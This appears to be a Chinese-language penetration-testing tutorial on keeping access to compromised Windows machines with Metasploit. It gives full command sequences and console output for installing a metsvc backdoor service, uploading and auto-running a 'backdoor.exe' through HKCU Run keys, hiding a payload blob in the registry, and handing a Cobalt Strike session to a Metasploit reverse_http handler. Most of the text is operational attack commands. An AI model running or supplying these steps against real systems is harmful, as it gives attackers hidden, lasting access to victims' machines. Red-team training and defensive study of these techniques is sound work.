通过服务启动,需要管理员权限,官方不推荐使用,运行失败
*

  1. run metsvc A #自动安装后门
  2. # 示例
  3. meterpreter > run metsvc A
  4. [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
  5. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
  6. [*] Creating a meterpreter service on port 31337
  7. [*] Creating a temporary installation directory C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH...
  8. [*] >> Uploading metsrv.x86.dll...
  9. [*] >> Uploading metsvc-server.exe...
  10. [*] >> Uploading metsvc.exe...
  11. [*] Starting the service...
  12. Cannot open service manager (0x00000005)
  13. meterpreter > ls
  14. Listing: C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH
  15. ========================================================
  16. Mode Size Type Last modified Name
  17. ---- ---- ---- ------------- ----
  18. 100666/rw-rw-rw- 178688 fil 2019-06-12 06:46:20 -0700 metsrv.dll
  19. 100777/rwxrwxrwx 45056 fil 2019-06-12 06:46:21 -0700 metsvc-server.exe
  20. 100777/rwxrwxrwx 61440 fil 2019-06-12 06:46:21 -0700 metsvc.exe

三个文件上传成功,但服务没有启动起来,失败了。使用-r参数可卸载服务。

3.persistence_exe

再来看看官方推荐的东西吧

  1. meterpreter > info post/windows/manage/persistence_exe
  2. Name: Windows Manage Persistent EXE Payload Installer
  3. Module: post/windows/manage/persistence_exe
  4. Platform: Windows
  5. Arch:
  6. Rank: Normal
  7. Provided by:
  8. Merlyn drforbin Cousins <drforbin6@gmail.com>
  9. Compatible session types:
  10. Meterpreter
  11. Basic options:
  12. Name Current Setting Required Description
  13. ---- --------------- -------- -----------
  14. REXENAME default.exe yes The name to call exe on remote system
  15. REXEPATH yes The remote executable to upload and execute.
  16. SESSION yes The session to run this module on.
  17. STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
  18. Description:
  19. This Module will upload an executable to a remote host and make it
  20. Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER
  21. will start on user login, SYSTEM will start on system boot but
  22. requires privs. SERVICE will create a new service which will start
  23. the payload. Again requires privs.
  24. Module options (post/windows/manage/persistence_exe):
  25. Name Current Setting Required Description
  26. ---- --------------- -------- -----------
  27. REXENAME default.exe yes The name to call exe on remote system
  28. REXEPATH yes The remote executable to upload and execute.
  29. SESSION yes The session to run this module on.
  30. STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)

此模块将可执行文件上载到远程主机并进行创建持久性。
涉及到四个参数

  • REXENAME是拷贝到目标系统中的名字
  • EXEPATH是将要上传的后门在本地的位置
  • SESSION是选择运行此模块的会话
  • STARTUP是启动类型,有USER、SYSTEM、SERVICE这三种取值,USER表示为将在用户登录时启动,SYSTEM表示将在系统启动时启动(需要权限),SERVICE表示将创建一个启动服务项(需要权限)。

尝试一下:

  1. meterpreter > run post/windows/manage/persistence_exe REXENAME=backdoor.exe REXEPATH=/home/ubuntu/shell.exe STARTUP=USER
  2. [*] Running module against SAUCERMAN
  3. [*] Reading Payload from file /home/ubuntu/shell.exe
  4. [+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\backdoor.exe
  5. [*] Executing script C:\Users\TideSec\AppData\Local\Temp\backdoor.exe
  6. [+] Agent executed with PID 3684
  7. [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI
  8. [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI
  9. [*] Cleanup Meterpreter RC File: /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.1023/SAUCERMAN_20190612.1023.rc

4.registry_persistence

完整路径为exploit/windows/local/registry_persistence

和第一种方法类似,此模块将会安装一个payload到注册表的启动项中。

  1. meterpreter > background
  2. [*] Backgrounding session 13...
  3. msf5 auxiliary(server/socks5) > use exploit/windows/local/registry_persistence
  4. msf5 exploit(windows/local/registry_persistence) > show options
  5. Module options (exploit/windows/local/registry_persistence):
  6. Name Current Setting Required Description
  7. ---- --------------- -------- -----------
  8. BLOB_REG_KEY no The registry key to use for storing the payload blob. (Default: random)
  9. BLOB_REG_NAME no The name to use for storing the payload blob. (Default: random)
  10. CREATE_RC true no Create a resource file for cleanup
  11. RUN_NAME no The name to use for the 'Run' key. (Default: random)
  12. SESSION yes The session to run this module on.
  13. SLEEP_TIME 0 no Amount of time to sleep (in seconds) before executing payload. (Default: 0)
  14. STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM)
  15. Exploit target:
  16. Id Name
  17. -- ----
  18. 0 Automatic
  19. msf5 exploit(windows/local/registry_persistence) > set SESSION 13
  20. SESSION => 13
  21. msf5 exploit(windows/local/registry_persistence) > run
  22. [*] Generating payload blob..
  23. [+] Generated payload, 6048 bytes
  24. [*] Root path is HKCU
  25. [*] Installing payload blob..
  26. [+] Created registry key HKCU\Software\0BaG3zDR
  27. [+] Installed payload blob to HKCU\Software\0BaG3zDR\iiEB4InD
  28. [*] Installing run key
  29. [+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SMPqA5kB
  30. [*] Clean up Meterpreter RC file: /home/ubuntu/.msf4/logs/persistence/192.168.81.154_20190612.2138/192.168.81.154_20190612.2138.rc

同类型的还有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence。

cs大全

cs派生msf

  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_http
  3. msf exploit(handler) > set lhost 192.168.0.143
  4. msf exploit(handler) > set lport 4444
  5. msf exploit(handler) > exploit
  6. cs创建一个windows/foreign/reverse_http Listener
  7. 然后选中对应机器,右键->Spawn,选择刚刚创建的监听器。

admin 2022年3月14日 08:47 收藏文档